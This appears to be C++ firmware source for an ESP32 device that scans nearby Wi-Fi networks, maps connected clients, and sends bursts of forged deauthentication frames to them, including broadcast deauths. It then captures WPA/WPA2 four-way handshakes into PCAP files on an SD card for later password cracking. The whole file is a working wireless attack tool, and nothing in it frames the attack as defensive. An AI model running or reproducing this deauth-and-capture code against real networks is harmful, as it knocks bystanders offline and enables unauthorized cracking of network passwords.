#include "HandshakeCapture.h"
#include "SD_Card.h"
#include "LVGL_Driver.h"
#include <algorithm>
#include <cstdio>
#include <cstring>

// ─── Internal prototypes ───

static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void pcapInitSlot(CaptureSlot* slot);
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
static void sendDeauthBurstAll();
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
static int getNextChannelSweep();
static void sanitizeFilenameForFat(String& path);
static void discardSlotCapture(CaptureSlot* s, int slot_index);
static bool parsePersistedBssidLine(const char* s, uint8_t mac[6]);
static void formatBssidHexLine(const uint8_t* bssid, char* out, size_t cap);
static bool framePayloadIsEapolKey(const uint8_t* payload, uint16_t len);
static unsigned countEapolKeyFramesInPcap(const uint8_t* buf, size_t sz);
static void persistBssidLineCallback(const char* line, void* user);

// ─── Shared state ───

WifiNetwork networks[MAX_NETWORKS];
CaptureSlot slots[MAX_SLOTS];
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1};
bool is_capturing = false;
int current_channel = 0;
volatile uint8_t latest_eapol_count[MAX_SLOTS] = {0, 0};
CapturePhase capturePhase = PHASE_OBSERVING;

// ─── Phase timing ───

// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit).

static unsigned long phase_timer = 0;
// Counts completed observe windows that led to a deauth burst (1..HANDSHAKE_MAX_OBSERVE_CYCLES).
static uint8_t deauth_cycle_count = 0;
static int last_channel = 0;

// Spinlock for data shared between promiscuous callback (WiFi task)
// and main loop. Critical sections are kept very short.
static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED;

// ─── Captured BSSID cache (persists across channel hops) ───

#define CAPTURED_BSSID_CACHE_SIZE 32
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
static int captured_bssid_count = 0;

bool wasBssidCaptured(const uint8_t* bssid) {
  for (int i = 0; i < captured_bssid_count; i++) {
    if (memcmp(captured_bssids[i], bssid, 6) == 0) return true;
  }
  return false;
}

static void markBssidCaptured(const uint8_t* bssid) {
  if (wasBssidCaptured(bssid)) return;
  if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
    memcpy(captured_bssids[captured_bssid_count], bssid, 6);
    captured_bssid_count++;
  } else {
    memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6);
    memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6);
  }
}

static bool parsePersistedBssidLine(const char* s, uint8_t mac[6]) {
  if (s == nullptr) return false;
  unsigned a, b, c, d, e, f;
  if (sscanf(s, " %x:%x:%x:%x:%x:%x", &a, &b, &c, &d, &e, &f) != 6) return false;
  mac[0] = (uint8_t)a;
  mac[1] = (uint8_t)b;
  mac[2] = (uint8_t)c;
  mac[3] = (uint8_t)d;
  mac[4] = (uint8_t)e;
  mac[5] = (uint8_t)f;
  return true;
}

static void formatBssidHexLine(const uint8_t* bssid, char* out, size_t cap) {
  snprintf(out, cap, "%02X:%02X:%02X:%02X:%02X:%02X\n",
           bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
}

static bool framePayloadIsEapolKey(const uint8_t* payload, uint16_t len) {
  if (len < 24) return false;
  uint8_t frame_type = payload[0];
  bool is_qos = (frame_type == 0x88);
  bool is_data = (frame_type == 0x08) || is_qos;
  if (!is_data) return false;
  bool to_ds = (payload[1] & 0x01) != 0;
  bool from_ds = (payload[1] & 0x02) != 0;
  uint16_t mhl = 24;
  if (to_ds && from_ds) mhl += 6;
  if (is_qos) mhl += 2;
  if ((payload[1] & 0x40) != 0 || len < mhl + 8 + 4) return false;
  if (payload[mhl] != 0xAA || payload[mhl + 1] != 0xAA || payload[mhl + 2] != 0x03) return false;
  if (payload[mhl + 6] != 0x88 || payload[mhl + 7] != 0x8E) return false;
  uint8_t eapol_type = payload[mhl + 9];
  return eapol_type == 3;
}

static uint32_t pcapRdU32(const uint8_t* p) {
  return (uint32_t)p[0] | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}

static unsigned countEapolKeyFramesInPcap(const uint8_t* buf, size_t sz) {
  if (sz < sizeof(pcap_global_header_t)) return 0;
  size_t off = sizeof(pcap_global_header_t);
  unsigned n = 0;
  while (off + sizeof(pcap_record_header_t) <= sz) {
    uint32_t incl = pcapRdU32(buf + off + 8);
    off += sizeof(pcap_record_header_t);
    if (incl > PCAP_MAX_SIZE || off + incl > sz) break;
    if (incl >= 24 && framePayloadIsEapolKey(buf + off, (uint16_t)incl)) n++;
    off += incl;
  }
  return n;
}

static void persistBssidLineCallback(const char* line, void* user) {
  (void)user;
  uint8_t mac[6];
  if (!parsePersistedBssidLine(line, mac)) return;
  markBssidCaptured(mac);
}

void handshakeLoadPersistedBssids() {
  if (!SD_IsReady()) return;
  if (!SD_ForEachLine(HANDSHAKE_CAPTURED_BSSID_FILE, persistBssidLineCallback, nullptr)) {
    HANDSHAKE_LOGLN("[PERSIST] cap_bssids read failed");
  } else {
    HANDSHAKE_LOGF("[PERSIST] loaded BSSID cache from %s\n", HANDSHAKE_CAPTURED_BSSID_FILE);
  }
}

static void sanitizeFilenameForFat(String& path) {
  for (unsigned i = 0; i < path.length(); i++) {
    char c = path[i];
    if (c == '/') continue;
    if ((unsigned char)c < 0x20 || c == '"' || c == '*' || c == '\\' || c == ':' ||
        c == '?' || c == '<' || c == '>' || c == '|' || c == '\'' || c == '[' || c == ']')
      path.setCharAt(i, '_');
  }
}

// Release slot after failed/missing SD so capture never deadlocks on pending_save.
static void discardSlotCapture(CaptureSlot* s, int slot_index) {
  pending_save_slots[slot_index] = -1;
  s->pcap_size = 0;
  s->active = false;
  s->eapol_count = 0;
  s->beacon_captured = false;
  s->client_count = 0;
  if (slot_index >= 0 && slot_index < MAX_SLOTS)
    latest_eapol_count[slot_index] = 0;

  // Restore list row after failed save / missing SD (avoid stuck orange “active” look).
  int ni = s->network_index;
  if (ni >= 0 && ni < MAX_NETWORKS && !networks[ni].ssid.isEmpty()) {
    char line[48];
    snprintf(line, sizeof(line), "%02d. %s ch%d",
             ni + 1, networks[ni].ssid.c_str(), networks[ni].ch);
    Ui_SetNetworkText(ni, line);
    Ui_SetNetworkColor(ni, lv_palette_main(LV_PALETTE_GREEN));
  }
}

// ─── Init ───

void handshakeCaptureInit() {
  WiFi.mode(WIFI_STA);
  WiFi.disconnect(false, true);
  WiFi.setSleep(false);
  delay(100);
#if USE_SOFTAP
  WiFi.mode(WIFI_AP_STA);
#else
  WiFi.mode(WIFI_STA);
#endif
  esp_wifi_set_promiscuous(true);
  esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
  for (int i = 0; i < MAX_SLOTS; i++) {
    pending_save_slots[i] = -1;
  }
}

// ─── Pending save processing (main loop context — safe for SD I/O) ───

void handshakeCaptureProcessPending() {
  for (int i = 0; i < MAX_SLOTS; i++) {
    if (pending_save_slots[i] < 0) continue;

    CaptureSlot* s = &slots[i];
    if (!s->active || s->pcap_size <= sizeof(pcap_global_header_t) ||
        s->eapol_count < HANDSHAKE_EAPOL_FRAMES) {
      pending_save_slots[i] = -1;
      continue;
    }

    // Do not pre-check SD.cardType() here — it can read false after WiFi on shared SPI.
    // If the card was pulled, SD.open/write below fails and we discard then.
    if (!SD_IsReady()) {
      SD_Init();
    }
    if (!SD_IsReady()) {
      HANDSHAKE_LOGLN("SD not ready — discarding pending PCAP");
      Ui_SetWifiStatus("SD: insert card");
      discardSlotCapture(s, i);
      continue;
    }

    String filename = "/4way_";
    filename += s->ssid;
    filename += "_";
    filename += String((unsigned long)millis());
    filename += "_s";
    filename += String(i);
    filename += ".pcap";
    filename.replace(" ", "_");
    sanitizeFilenameForFat(filename);

    unsigned eapolInPcap = countEapolKeyFramesInPcap(s->pcap_buffer, s->pcap_size);
    if (eapolInPcap < HANDSHAKE_EAPOL_FRAMES) {
      HANDSHAKE_LOGF("[VALIDATE] PCAP has %u EAPOL-Key (need %d) — discard\n",
                     eapolInPcap, HANDSHAKE_EAPOL_FRAMES);
      Ui_SetWifiStatus("Bad PCAP");
      pending_save_slots[i] = -1;
      discardSlotCapture(s, i);
      continue;
    }

    bool ok = SD_WriteFileAtomic(filename.c_str(), s->pcap_buffer, s->pcap_size);
    if (ok) {
      HANDSHAKE_LOGF("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
      Ui_SetWifiStatus("4-way saved!");
    } else {
      HANDSHAKE_LOGLN("SD save failed — discarding buffer");
      Ui_SetWifiStatus("SD save err");
    }

    if (ok) {
      pending_save_slots[i] = -1;
      markBssidCaptured(s->bssid);
      char pline[24];
      formatBssidHexLine(s->bssid, pline, sizeof(pline));
      if (!SD_AppendLine(HANDSHAKE_CAPTURED_BSSID_FILE, pline)) {
        HANDSHAKE_LOGLN("[PERSIST] append BSSID failed (RAM cache still set)");
      }
      if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
        networks[s->network_index].handshake_captured = true;
        Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
      }
      s->pcap_size = 0;
      s->active = false;
      latest_eapol_count[i] = 0;
    } else {
      discardSlotCapture(s, i);
    }
  }
  refillSlots();
}

// ─── Slot management ───

static bool networkInAnySlot(int ni) {
  for (int i = 0; i < MAX_SLOTS; i++) {
    if (slots[i].active && slots[i].network_index == ni) return true;
  }
  return false;
}

void refillSlots() {
  if (!is_capturing || current_channel == 0) return;
  for (int si = 0; si < MAX_SLOTS; si++) {
    if (slots[si].active) continue;
    for (int ni = 0; ni < MAX_NETWORKS; ni++) {
      if (networks[ni].ssid.isEmpty()) break;
      if (networks[ni].handshake_captured || !isCaptureable(ni)) continue;
      if (networks[ni].ch != current_channel) continue;
      if (networkInAnySlot(ni)) continue;

      CaptureSlot* s = &slots[si];
      memcpy(s->bssid, networks[ni].bssid, 6);
      strncpy(s->ssid, networks[ni].ssid.c_str(), 32);
      s->ssid[32] = '\0';
      s->network_index = ni;
      s->beacon_captured = false;
      s->eapol_count = 0;
      s->client_count = 0;
      s->active = true;
      pcapInitSlot(s);
      break;
    }
  }
}

// ─── Network helpers ───

bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
  return a.rssi > b.rssi;
}

bool isSupportedCaptureAuth(const String& enc) {
  if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true;
  if (enc == "WPA3" || enc == "WPA2/WPA3") return true;
  return false;
}

bool isSupportedCaptureChannel(int channel) {
  return channel >= HANDSHAKE_MIN_CHANNEL && channel <= HANDSHAKE_MAX_CHANNEL;
}

bool isCaptureable(int index) {
  if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
  return isSupportedCaptureAuth(networks[index].encryption) &&
         isSupportedCaptureChannel(networks[index].ch);
}

int getCaptureableCount() {
  int n = 0;
  for (int i = 0; i < MAX_NETWORKS; i++) {
    if (networks[i].ssid.isEmpty()) break;
    if (!networks[i].handshake_captured && isCaptureable(i)) n++;
  }
  return n;
}

static int getNextChannelSweep() {
  int ch_counts[HANDSHAKE_MAX_CHANNEL + 1] = {0};
  for (int i = 0; i < MAX_NETWORKS; i++) {
    if (networks[i].ssid.isEmpty()) break;
    if (networks[i].handshake_captured || !isCaptureable(i)) continue;
    int ch = networks[i].ch;
    if (isSupportedCaptureChannel(ch)) ch_counts[ch]++;
  }

  // Simple circular sweep across channels that still have targets.
  const int channel_count = HANDSHAKE_MAX_CHANNEL - HANDSHAKE_MIN_CHANNEL + 1;
  int start_index = 0;
  if (isSupportedCaptureChannel(last_channel)) {
    start_index = (last_channel - HANDSHAKE_MIN_CHANNEL + 1) % channel_count;
  }
  for (int step = 0; step < channel_count; step++) {
    int ch = HANDSHAKE_MIN_CHANNEL + ((start_index + step) % channel_count);
    if (ch_counts[ch] > 0) return ch;
  }
  return 0;
}

static void clearNetworkList() {
  for (int i = 0; i < MAX_NETWORKS; i++) {
    networks[i].ssid = "";
    networks[i].encryption = "";
    memset(networks[i].bssid, 0, 6);
    networks[i].ch = 0;
    networks[i].rssi = 0;
    networks[i].handshake_captured = false;
  }
}

void scanNetworksSortedByRSSI() {
  clearNetworkList();
  int n = WiFi.scanNetworks(false, true);
  if (n == 0) return;

  int stored = 0;
  for (int i = 0; i < n && stored < MAX_NETWORKS; i++) {
    String ssid = WiFi.SSID(i);
    if (ssid.isEmpty()) {
      const uint8_t* b = WiFi.BSSID(i);
      char hid[24];
      snprintf(hid, sizeof(hid), "<hidden>_%02X%02X%02X", b[3], b[4], b[5]);
      networks[stored].ssid = hid;
    } else {
      networks[stored].ssid = ssid;
    }
    memcpy(networks[stored].bssid, WiFi.BSSID(i), 6);
    networks[stored].ch = WiFi.channel(i);
    networks[stored].rssi = WiFi.RSSI(i);
    wifi_auth_mode_t enc = WiFi.encryptionType(i);
    if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open";
    else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP";
    else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA";
    else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2";
    else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2";
    else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise";
#if defined(WIFI_AUTH_WPA3_PSK)
    else if (enc == WIFI_AUTH_WPA3_PSK) networks[stored].encryption = "WPA3";
#endif
#if defined(WIFI_AUTH_WPA2_WPA3_PSK)
    else if (enc == WIFI_AUTH_WPA2_WPA3_PSK) networks[stored].encryption = "WPA2/WPA3";
#endif
    else networks[stored].encryption = "Unknown";
    networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid);

    stored++;
  }
  std::sort(networks, networks + stored, compareRSSI);
}

// ─── PCAP buffer (fixed-size, no dynamic alloc) ───

static void pcapInitSlot(CaptureSlot* slot) {
  slot->pcap_size = sizeof(pcap_global_header_t);
  pcap_global_header_t header = {
    .magic_number = 0xa1b2c3d4,
    .version_major = 2,
    .version_minor = 4,
    .thiszone = 0,
    .sigfigs = 0,
    .snaplen = 65535,
    .network = 105
  };
  memcpy(slot->pcap_buffer, &header, sizeof(header));
}

// Must be called inside capture_mux critical section.
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) {
  if (!frame || len == 0) return false;
  size_t needed = sizeof(pcap_record_header_t) + len;
  if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false;

  uint32_t ms = millis();
  pcap_record_header_t rec = {
    .ts_sec = ms / 1000,
    .ts_usec = (ms % 1000) * 1000,
    .incl_len = (uint32_t)len,
    .orig_len = (uint32_t)len
  };

  memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec));
  memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len);
  slot->pcap_size += needed;
  return true;
}

// ─── Client tracking (called from callback under spinlock) ───

static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) {
  if (mac[0] & 0x01) return false;                      // multicast/broadcast
  if (memcmp(mac, slot->bssid, 6) == 0) return false;   // the AP itself

  for (uint8_t i = 0; i < slot->client_count; i++) {
    if (memcmp(slot->clients[i].mac, mac, 6) == 0) {
      slot->clients[i].last_seen = millis();
      return false;
    }
  }

  if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false;

  memcpy(slot->clients[slot->client_count].mac, mac, 6);
  slot->clients[slot->client_count].last_seen = millis();
  slot->client_count++;
  return true;
}

// ─── Deauth: unicast burst to each discovered client ───

static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) {
  uint8_t deauth[26] = {
    0xC0, 0x00,                                     // Frame Control: Deauth
    0x00, 0x00,                                     // Duration
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             // DA: client
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             // SA: AP BSSID
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             // BSSID: AP
    0x00, 0x00,                                     // Seq Ctrl
    0x07, 0x00                                      // Reason: Class 3 from non-associated STA
  };

  memcpy(&deauth[4],  client_mac, 6);
  memcpy(&deauth[10], bssid,      6);
  memcpy(&deauth[16], bssid,      6);

  for (int i = 0; i < HANDSHAKE_DEAUTH_BURST_COUNT; i++) {
    esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
    if (i < HANDSHAKE_DEAUTH_BURST_COUNT - 1) delay(HANDSHAKE_DEAUTH_BURST_DELAY_MS);
  }
}

static void sendDeauthBurstAll() {
  for (int i = 0; i < MAX_SLOTS; i++) {
    CaptureSlot* s = &slots[i];
    if (!s->active) continue;

    if (s->client_count > 0) {
      HANDSHAKE_LOGF("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
      for (uint8_t c = 0; c < s->client_count; c++) {
        sendDeauthToClient(s->bssid, s->clients[c].mac);
        if (c + 1 < s->client_count) delay(HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS);
      }
    } else {
      HANDSHAKE_LOGF("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
      uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
      sendDeauthToClient(s->bssid, bcast);
    }
    delay(HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS);
  }
}

// ─── Capture lifecycle ───

void startMultiCapture() {
  if (is_capturing) return;

  current_channel = getNextChannelSweep();
  if (current_channel == 0) return;
  last_channel = current_channel;

  memset(slots, 0, sizeof(slots));
  int filled = 0;
  for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) {
    if (networks[i].ssid.isEmpty()) break;
    if (networks[i].handshake_captured || !isCaptureable(i)) continue;
    if (networks[i].ch != current_channel) continue;

    CaptureSlot* s = &slots[filled];
    memcpy(s->bssid, networks[i].bssid, 6);
    strncpy(s->ssid, networks[i].ssid.c_str(), 32);
    s->ssid[32] = '\0';
    s->network_index = i;
    s->beacon_captured = false;
    s->eapol_count = 0;
    s->client_count = 0;
    s->active = true;
    pcapInitSlot(s);
    filled++;
  }

  if (filled == 0) return;

  is_capturing = true;
  capturePhase = PHASE_OBSERVING;
  phase_timer = millis();
  deauth_cycle_count = 0;
  for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0;
  esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);

  HANDSHAKE_LOGF("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
}

void stopCapture() {
  if (!is_capturing) return;
  is_capturing = false;
  for (int i = 0; i < MAX_SLOTS; i++) {
    if (slots[i].active) {
      if (slots[i].eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
        pending_save_slots[i] = i;
      } else {
        slots[i].pcap_size = 0;
        slots[i].active = false;
      }
    }
  }
  handshakeCaptureProcessPending();
}

// ─── State machine tick (called from main loop) ───

void handshakeCaptureLoop() {
  if (!is_capturing) return;

  unsigned long now = millis();

  // Phase 2 → Phase 3 (transient burst) → Phase 4
  if (capturePhase == PHASE_OBSERVING) {
    if (now - phase_timer >= HANDSHAKE_OBSERVE_DURATION_MS) {
      int total = 0;
      for (int i = 0; i < MAX_SLOTS; i++) {
        if (slots[i].active) {
          HANDSHAKE_LOGF("  [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
          total += slots[i].client_count;
        }
      }
      HANDSHAKE_LOGF("Observation done: %d client(s). Sending deauth burst.\n", total);

      sendDeauthBurstAll();

      capturePhase = PHASE_CAPTURING;
      phase_timer = now;
      deauth_cycle_count++;
      HANDSHAKE_LOGLN("Phase 4: capturing handshakes...");
    }
  }

  // Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts
  if (capturePhase == PHASE_CAPTURING) {
    if (now - phase_timer >= HANDSHAKE_CAPTURE_TIMEOUT_MS) {
      if (deauth_cycle_count < HANDSHAKE_MAX_OBSERVE_CYCLES) {
        HANDSHAKE_LOGF("Capture timeout. Re-observing (cycle %d/%d)...\n",
                       (int)deauth_cycle_count + 1, HANDSHAKE_MAX_OBSERVE_CYCLES);
        portENTER_CRITICAL(&capture_mux);
        for (int i = 0; i < MAX_SLOTS; i++) {
          if (slots[i].active) slots[i].client_count = 0;
        }
        portEXIT_CRITICAL(&capture_mux);

        capturePhase = PHASE_OBSERVING;
        phase_timer = now;
      } else {
        HANDSHAKE_LOGLN("Max observe/deauth cycles done; stopping capture on this channel.");
        stopCapture();
      }
    }
  }
}

// ─── Promiscuous RX callback ───
// Runs in WiFi task context (high priority). Must be fast.
// No Serial, no malloc/realloc, no file I/O.

static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  (void)type;
  if (!is_capturing) return;

  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
  const uint8_t* payload = pkt->payload;
  uint16_t len = pkt->rx_ctrl.sig_len;
  if (len < 24) return;

  uint8_t frame_type = payload[0];
  bool is_beacon = (frame_type == 0x80);
  bool is_qos    = (frame_type == 0x88);
  bool is_data   = (frame_type == 0x08) || is_qos;

  // Pre-compute EAPOL presence for data frames
  bool is_eapol = false;
  uint16_t mhl = 0;
  if (is_data) {
    bool to_ds   = (payload[1] & 0x01) != 0;
    bool from_ds = (payload[1] & 0x02) != 0;
    mhl = 24;
    if (to_ds && from_ds) mhl += 6;   // WDS 4-addr
    if (is_qos) mhl += 2;             // QoS Control

    // EAPOL is always unencrypted — skip protected frames
    if (!(payload[1] & 0x40) && len >= mhl + 8) {
      // Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype
      if (payload[mhl]     == 0xAA &&
          payload[mhl + 1] == 0xAA &&
          payload[mhl + 2] == 0x03) {
        is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E);
      }
    }
  }

  // Snapshot minimal slot state quickly (avoid holding lock during memcmp-heavy logic)
  uint8_t bssids[MAX_SLOTS][6];
  bool slot_active[MAX_SLOTS];
  bool slot_pending[MAX_SLOTS];
  bool slot_beacon_captured[MAX_SLOTS];
  CapturePhase phase_snapshot;

  portENTER_CRITICAL(&capture_mux);
  phase_snapshot = capturePhase;
  for (int i = 0; i < MAX_SLOTS; i++) {
    slot_active[i] = slots[i].active;
    slot_pending[i] = (pending_save_slots[i] >= 0);
    slot_beacon_captured[i] = slots[i].beacon_captured;
    memcpy(bssids[i], slots[i].bssid, 6);
  }
  portEXIT_CRITICAL(&capture_mux);

  // Identify which slot (if any) this frame belongs to.
  int hit_slot = -1;
  bool hit_match_addr2 = false;

  if (is_beacon && len >= 36) {
    const uint8_t* src = &payload[10];
    for (int i = 0; i < MAX_SLOTS; i++) {
      if (!slot_active[i] || slot_pending[i]) continue;
      if (slot_beacon_captured[i]) continue;
      if (memcmp(src, bssids[i], 6) == 0) {
        hit_slot = i;
        break;
      }
    }
  } else if (is_data) {
    const uint8_t* addr1 = &payload[4];
    const uint8_t* addr2 = &payload[10];
    for (int i = 0; i < MAX_SLOTS; i++) {
      if (!slot_active[i] || slot_pending[i]) continue;
      bool match1 = (memcmp(addr1, bssids[i], 6) == 0);
      bool match2 = (memcmp(addr2, bssids[i], 6) == 0);
      if (match1 || match2) {
        hit_slot = i;
        hit_match_addr2 = match2;
        break;
      }
    }
  }

  if (hit_slot < 0) return;

  // Apply updates under lock (validate slot is still active)
  portENTER_CRITICAL(&capture_mux);
  CaptureSlot* s = &slots[hit_slot];
  if (!s->active || pending_save_slots[hit_slot] >= 0) {
    portEXIT_CRITICAL(&capture_mux);
    return;
  }

  if (is_beacon) {
    if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) {
      if (pcapAppendSlot(s, payload, len)) s->beacon_captured = true;
    }
    portEXIT_CRITICAL(&capture_mux);
    return;
  }

  // Data frame
  if (phase_snapshot == PHASE_OBSERVING) {
    const uint8_t* client_mac = hit_match_addr2 ? &payload[4] : &payload[10];
    addClientToSlot(s, client_mac);
  }

  if (is_eapol) {
    if (s->eapol_count < HANDSHAKE_EAPOL_FRAMES && pcapAppendSlot(s, payload, len)) {
      s->eapol_count++;
      latest_eapol_count[hit_slot] = s->eapol_count;
      if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
        pending_save_slots[hit_slot] = hit_slot;
      }
    }
  }

  portEXIT_CRITICAL(&capture_mux);
}